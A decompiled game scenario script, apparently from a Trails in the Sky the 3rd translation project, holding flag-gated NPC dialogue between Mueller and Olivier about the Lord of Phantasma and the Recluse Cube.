"however.\x02",
)
)
CloseMessageWindow()
label("loc_CB15")
TalkEnd(0xFE)
label("loc_CB18")
Return()
# Function_11_AF11 end
def Function_12_CB19(): pass
label("Function_12_CB19")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x565, 3)), scpexpr(EXPR_END)), "loc_CDC0")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 3)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_CC5D")
ChrTalk( #317
0x14,
(
"#270FIt seems like we're finally able to see the light at\x01",
"the end of the tunnel.\x02\x03",
"#270FNow we just need to keep walking towards it.\x01",
"For the sake of everyone we know, including\x01",
"those no longer with us because of the Aureole.\x02\x03",
"#278FLet's see what this seventh plane has in store\x01",
"for us, shall we?\x02",
)
)
CloseMessageWindow()
OP_A2(0x3)
Jump("loc_CDBA")
label("loc_CC5D")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x3)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_CD38")
TurnDirection(0xFE, 0x104, 0)
ChrTalk( #318
0x14,
(
"#277FIt seems like we're finally able to see the light\x01",
"at the end of the tunnel.\x02\x03",
"#276FBe careful, Olivier.\x02",
)
)
CloseMessageWindow()
ChrTalk( #319
0x104,
"#1541FHeh. But of course, my love!\x02",
)
CloseMessageWindow()
ChrTalk( #320
0x14,
"#274FAnd who, exactly, is your love?\x02",
)
CloseMessageWindow()
Jump("loc_CDBA")
label("loc_CD38")
ChrTalk( #321
0x14,
(
"#277FIt seems like we're finally able to see the light\x01",
"at the end of the tunnel.\x02\x03",
"#278FPerhaps I'd best go and grab Olivier.\x02",
)
)
CloseMessageWindow()
label("loc_CDBA")
TalkEnd(0xFE)
Jump("loc_E960")
label("loc_CDC0")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x564, 0)), scpexpr(EXPR_END)), "loc_CF36")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x4C7, 2)), scpexpr(EXPR_END)), "loc_CE79")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
ChrTalk( #322
0x14,
(
"#276FSo that is how a true master fights...\x02\x03",
"#278FHeh. That was a worthwhile reminder of just how\x01",
"much room I still have to improve my own skills.\x02",
)
)
CloseMessageWindow()
ClearChrFlags(0xFE, 0x10)
TalkEnd(0xFE)
Jump("loc_CF33")
label("loc_CE79")
TalkBegin(0xFE)
ChrTalk( #323
0x14,
(
"#272FSo you were able to test your skills against the\x01",
"famed Cassius Bright, were you?\x02\x03",
"#277FI can't help but wish that I had been able to see\x01",
"him fight up close and personal.\x02",
)
)
CloseMessageWindow()
TalkEnd(0xFE)
label("loc_CF33")
Jump("loc_E960")
label("loc_CF36")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x562, 5)), scpexpr(EXPR_END)), "loc_D105")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 3)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_D044")
ChrTalk( #324
0x14,
(
"#276FThe Lord of Phantasma appears to have some\x01",
"rather capable warriors under his command.\x02\x03",
"#272FIf that's the strength of the second guardian,\x01",
"I dread to think how powerful the rest will be.\x02\x03",
"*sigh* This is going to be quite the challenge.\x02",
)
)
CloseMessageWindow()
OP_A2(0x3)
Jump("loc_D0FF")
label("loc_D044")
ChrTalk( #325
0x14,
(
"#270FThe Lord of Phantasma really seems to have\x01",
"some capable warriors under his command.\x02\x03",
"#276FCome to think of it, that Schwarzritter said\x01",
"that he's one of the guardians, too, yes?\x02",
)
)
CloseMessageWindow()
label("loc_D0FF")
TalkEnd(0xFE)
Jump("loc_E960")
label("loc_D105")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x561, 0)), scpexpr(EXPR_END)), "loc_D485")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 3)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_D328")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x3)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_D274")
TalkBegin(0xFE)
TurnDirection(0xFE, 0x104, 0)
ChrTalk( #326
0x14,
(
"#272F...Olivier, don't go causing any trouble while\x01",
"you're here.\x02\x03",
"Just because we're not in the real world\x01",
"right now doesn't mean your actions can't\x01",
"cause international problems.\x02",
)
)
CloseMessageWindow()
ChrTalk( #327
0x104,
(
"#1541FHahaha! Why must you always be so paranoid\x01",
"about me?\x02",
)
)
CloseMessageWindow()
ChrTalk( #328
0x14,
(
"#274FBecause you never take me seriously.\x01",
"Like you're not doing now.\x02",
)
)
CloseMessageWindow()
TalkEnd(0xFE)
Jump("loc_D322")
label("loc_D274")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
ChrTalk( #329
0x14,
(
"#274F...You really are a few gears short of a\x01",
"functioning battle orbment.\x02\x03",
"Perhaps you need to be taught a lesson\x01",
"so you don't get any more silly ideas.\x02",
)
)
CloseMessageWindow()
ClearChrFlags(0xFE, 0x10)
TalkEnd(0xFE)
label("loc_D322")
OP_A2(0x3)
Jump("loc_D482")
label("loc_D328")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x3)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_D3FB")
TurnDirection(0xFE, 0x104, 0)
ChrTalk( #330
0x14,
(
"#272F...Olivier, don't go causing any trouble while\x01",
"you're here.\x02\x03",
"Just because we're not in the real world\x01",
"right now doesn't mean your actions can't\x01",
"cause international problems.\x02",
)
)
CloseMessageWindow()
Jump("loc_D47F")
label("loc_D3FB")
ChrTalk( #331
0x14,
(
"#272FJust leave this idiot to me.\x02\x03",
"#270FI'll take responsibility for making sure he\x01",
"behaves--no matter what it takes to do it.\x02",
)
)
CloseMessageWindow()
label("loc_D47F")
TalkEnd(0xFE)
label("loc_D482")
Jump("loc_E960")
label("loc_D485")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x560, 0)), scpexpr(EXPR_END)), "loc_D70F")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 3)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_D5F2")
ChrTalk( #332
0x14,
(
"#276FI never imagined that would be the origin of\x01",
"the cube we've been reliant on all this time.\x02\x03",
"At least now we understand how we came\x01",
"to be drawn in here...to a degree.\x02\x03",
"#270FIt seems like the one directly responsible for\x01",
"that happening was the Lord of Phantasma,\x01",
"too.\x02\x03",
"#272FHmph. I can't wait to make them pay for what\x01",
"they've done.\x02",
)
)
CloseMessageWindow()
OP_A2(0x3)
Jump("loc_D709")
label("loc_D5F2")
ChrTalk( #333
0x14,
(
"#272FAt least now that we know where the Recluse Cube\x01",
"came from, we've got a relatively good idea how we\x01",
"all ended up here.\x02\x03",
"#276FThe one directly responsible for that happening was\x01",
"no doubt the Lord of Phantasma.\x02\x03",
"Hmph. I can't wait to make them pay for what\x01",
"they've done.\x02",
)
)
CloseMessageWindow()
label("loc_D709")
TalkEnd(0xFE)
Jump("loc_E960")
label("loc_D70F")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x540, 7)), scpexpr(EXPR_END)), "loc_D8D6")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 3)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_D83D")
ChrTalk( #334
0x14,
(
"#272FIt seems like the situation we're in is even more\x01",
"severe than I feared.\x02\x03",
"#276FWe've discovered a number of rules that govern\x01",
"this world, all implemented by that Lord of\x01",
"Phantasma...\x02\x03",
"...but what if they created a rule that dictates\x01",
"we can't actually leave this world?\x02",
)
)
CloseMessageWindow()
OP_A2(0x3)
Jump("loc_D8D0")
label("loc_D83D")
ChrTalk( #335
0x14,
(
"#272FOur only hope may turn out to be that ghost.\x02\x03",
"#276FEspecially given how the Lord of Phantasma's\x01",
"power seems unable to affect the garden.\x02",
)
)
CloseMessageWindow()
label("loc_D8D0")
TalkEnd(0xFE)
Jump("loc_E960")
label("loc_D8D6")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x540, 4)), scpexpr(EXPR_END)), "loc_DAA9")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 3)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_D9F0")
ChrTalk( #336
0x14,
(
"#277FSo our latest ally is the former Royal Army\x01",
"officer Colonel Richard, is it?\x02\x03",
"I've heard many great things about his skill in\x01",
"battle and espionage, as well as his intellect.\x02\x03",
"#278FHeh. He doesn't sound like the kind of man\x01",
"I would want as an enemy.\x02",
)
)
CloseMessageWindow()
OP_A2(0x3)
Jump("loc_DAA3")
label("loc_D9F0")
ChrTalk( #337
0x14,
(
"#277FSo our latest ally is the former Royal Army\x01",
"officer Colonel Richard, is it?\x02\x03",
"He's not someone I would want as an enemy,\x01",
"but I'll welcome him any day as a powerful ally.\x02",
)
)
CloseMessageWindow()
label("loc_DAA3")
TalkEnd(0xFE)
Jump("loc_E960")
label("loc_DAA9")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x540, 0)), scpexpr(EXPR_END)), "loc_DD62")
OP_51(0x0, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0xFE)
ClearChrFlags(0xFE, 0x10)
TurnDirection(0xFE, 0x0, 0)
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_DB40")
Jump("loc_DB82")
label("loc_DB40")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_DB5C")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_DB82")
label("loc_DB5C")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_DB78")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_DB82")
label("loc_DB78")
OP_51(0xFE, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_DB82")
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x0, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x0, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0xFE, 0x10)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 3)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_DCE3")
ChrTalk( #338
0x14,
(
"#272FThere was a point when Olivier tried delving\x01",
"into research on the Gralsritter.\x02\x03",
"He wasn't able to ascertain much in the end\x01",
"no matter how hard he tried, though...\x02\x03",
"#276FAfter seeing for myself what their strongest\x01",
"members are capable of, I can understand why\x01",
"he would want to look into them.\x02",
)
)
CloseMessageWindow()
OP_A2(0x3)
Jump("loc_DD57")
label("loc_DCE3")
ChrTalk( #339
0x14,
(
"#276FThe ability to slay a devil of that strength in\x01",
"one blow is...unusual, to say the least.\x02\x03",
"Unnatural, too.\x02",
)
)
CloseMessageWindow()
label("loc_DD57")
SetChrSubChip(0xFE, 0)
TalkEnd(0xFE)
Jump("loc_E960")
label("loc_DD62")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x521, 6)), scpexpr(EXPR_END)), "loc_E0B2")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 3)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_DF30")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x3)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_EQU), scpexpr(EXPR_END)), "loc_DE60")
ChrTalk( #340
0x14,
(
"#276FWhere has that fool gotten himself to, anyway?\x02\x03",
"#272FI swear, I take my eyes off him for one moment...\x02\x03",
"You'd think he could at least manage to play the\x01",
"good prince during times of serious crisis like this...\x02",
)
)
CloseMessageWindow()
Jump("loc_DF2A")
label("loc_DE60")
ChrTalk( #341
0x14,
(
"#276FSo all of the sealing stones in that bracer training\x01",
"area contained bracers in the end.\x02\x03",
"That masked jester has thankfully proven to play\x01",
"by their own rules thus far, at least.\x02",
)
)
CloseMessageWindow()
ChrTalk( #342
0x102,
"#1503F...\x02",
)
CloseMessageWindow()
label("loc_DF2A")
OP_A2(0x3)
Jump("loc_E0AC")
label("loc_DF30")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x3)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_EQU), scpexpr(EXPR_END)), "loc_DFD6")
ChrTalk( #343
0x14,
(
"#272FHmph. Well, whatever. I'll leave him to his own\x01",
"devices for now.\x02\x03",
"It's not as though he can leave this garden\x01",
"without the cube regardless.\x02",
)
)
CloseMessageWindow()
Jump("loc_E0AC")
label("loc_DFD6")
ChrTalk( #344
0x14,
(
"#270FI may loathe that masked jester, but at least\x01",
"they seem to always play by their own rules, \x01",
"if nothing else.\x02\x03",
"#276FI just hope there's some way that we can take\x01",
"advantage of that in order to defeat them.\x02",
)
)
CloseMessageWindow()
label("loc_E0AC")
TalkEnd(0xFE)
Jump("loc_E960")
label("loc_E0B2")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x521, 2)), scpexpr(EXPR_END)), "loc_E36E")
OP_51(0x0, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0xFE)
ClearChrFlags(0xFE, 0x10)
TurnDirection(0xFE, 0x0, 0)
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_E149")
Jump("loc_E18B")
label("loc_E149")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_E165")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_E18B")
label("loc_E165")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_E181")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_E18B")
label("loc_E181")
OP_51(0xFE, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_E18B")
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x0, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x0, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0xFE, 0x10)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 3)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_E2AF")
ChrTalk( #345
0x14,
(
"#276FI take it those armed beastmen we encountered\x01",
"are another reflection of the Lord of Phantasma's \x01",
"unpleasant tastes.\x02\x03",
"#272F...But whatever. I'm tired of putting up with their\x01",
"ridiculous games at this point.\x02\x03",
"Let's keep pressing on.\x02",
)
)
CloseMessageWindow()
OP_A2(0x3)
Jump("loc_E363")
label("loc_E2AF")
ChrTalk( #346
0x14,
(
"#272FI've got no idea what the Lord of Phantasma\x01",
"is planning...\x02\x03",
"...but I'm tired of having to put up with their\x01",
"ridiculous games at this point.\x02\x03",
"#270FLet's keep pressing on.\x02",
)
)
CloseMessageWindow()
label("loc_E363")
SetChrSubChip(0xFE, 0)
TalkEnd(0xFE)
Jump("loc_E960")
label("loc_E36E")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x520, 5)), scpexpr(EXPR_END)), "loc_E6EE")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x3)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_E643")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
OP_51(0x104, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0xFE)
ClearChrFlags(0xFE, 0x10)
TurnDirection(0xFE, 0x104, 0)
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_E41B")
Jump("loc_E45D")
label("loc_E41B")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_E437")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_E45D")
label("loc_E437")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_E453")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_E45D")
label("loc_E453")
OP_51(0xFE, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_E45D")
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x104, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x104, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0xFE, 0x10)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 3)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_E5FD")
ChrTalk( #347
0x14,
"#272F...Olivier. I need to talk to you later.\x02",
)
CloseMessageWindow()
ChrTalk( #348
0x104,
(
"#1540FOh, my! My, my, my! Whatever for?\x02\x03",
"#1541FHave you finally decided you cannot contain\x01",
"your burning passion for me locked within\x01",
"that rugged heart of yours a moment longer?\x02",
)
)
CloseMessageWindow()
ChrTalk( #349
0x14,
(
"#270FNo, idiot. I just need to check up on how you're\x01",
"doing.\x02\x03",
"#276FAs well as how you were doing before we were\x01",
"drawn in here.\x02",
)
)
CloseMessageWindow()
OP_A2(0x3)
Jump("loc_E633")
label("loc_E5FD")
ChrTalk( #350
0x14,
"#272FDon't go getting too carried away, Olivier.\x02",
)
CloseMessageWindow()
label("loc_E633")
SetChrSubChip(0xFE, 0)
ClearChrFlags(0xFE, 0x10)
TalkEnd(0xFE)
Jump("loc_E6EB")
label("loc_E643")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x1, 6)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_E652")
Call(5, 5)
Jump("loc_E6EB")
label("loc_E652")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
ChrTalk( #351
0x14,
(
"#276FWe must find a way out of here as soon as\x01",
"possible.\x02\x03",
"#272FWho knows what's happening in the outside\x01",
"world while we're in here?\x02",
)
)
CloseMessageWindow()
ClearChrFlags(0xFE, 0x10)
TalkEnd(0xFE)
label("loc_E6EB")
Jump("loc_E960")
label("loc_E6EE")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x520, 0)), scpexpr(EXPR_END)), "loc_E960")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 3)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_E8D4")
ChrTalk( #352
0x14,
(
"#270FIt's seeming more and more like we were all\x01",
"drawn in here at the same time.\x02\x03",
"#272F...Which is a relief in some ways. If that pitiful THING\x01",
"had been left in the outside world without me to watch\x01",
"it, I shudder to think what would have happened.\x02",
)
)
CloseMessageWindow()
ChrTalk( #353
0x102,
"#1505FI'd come to his defense but...no, I can't blame you.\x02",
)
CloseMessageWindow()
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x3)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_E8CE")
ChrTalk( #354
0x104,
(
"#1542FTruly, I am offended.\x02\x03",
"#1541FAt the very worst, I would have thrown\x01",
"a luxurious banquet for all to enjoy.\x02",
)
)
CloseMessageWindow()
ChrTalk( #355
0x14,
"#274F...\x02",
)
CloseMessageWindow()
label("loc_E8CE")
OP_A2(0x3)
Jump("loc_E95D")
label("loc_E8D4")
ChrTalk( #356
0x14,
(
"#272FIt's seeming more and more like we were all\x01",
"drawn in here at the same time.\x02\x03",
"Which is a relief, as guilty as I feel to say so.\x02",
)
)
CloseMessageWindow()
label("loc_E95D")
TalkEnd(0xFE)
label("loc_E960")
Return()
# Function_12_CB19 end
SaveToFile()
Try(main)
| [
"[email protected]"
] |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.